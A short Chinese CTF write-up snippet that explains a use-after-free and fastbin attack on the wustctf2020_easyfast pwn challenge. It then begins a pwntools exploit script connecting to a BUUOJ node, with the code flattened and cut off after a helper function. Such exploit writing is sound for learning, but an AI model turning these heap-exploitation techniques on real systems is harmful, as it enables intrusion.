week1

1 · · July 26, 2021, 2:02 a.m.
1.wustctf2020_easyfast这个题思路很简单,只要把0x602090改为0就可以了,可以直接通过uaf和fastbinattack,在0x6020080处分配内存,但是这个地方理论上是分配不了的,因为大小为0x50,后一位是0,待解决1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import *from LibcSearcher import *from struct import packa=0b=1elf=ELF("./pwn")libc=ELF("./libc-2.23.so")context.os='linux'context.arch='amd64'#context.log_level='debug'if(a==1):p=process("./pwn")else:p=remote("node4.buuoj.cn",28425)def allo(size):p.recvuntil("choice>\n")p.sendlin...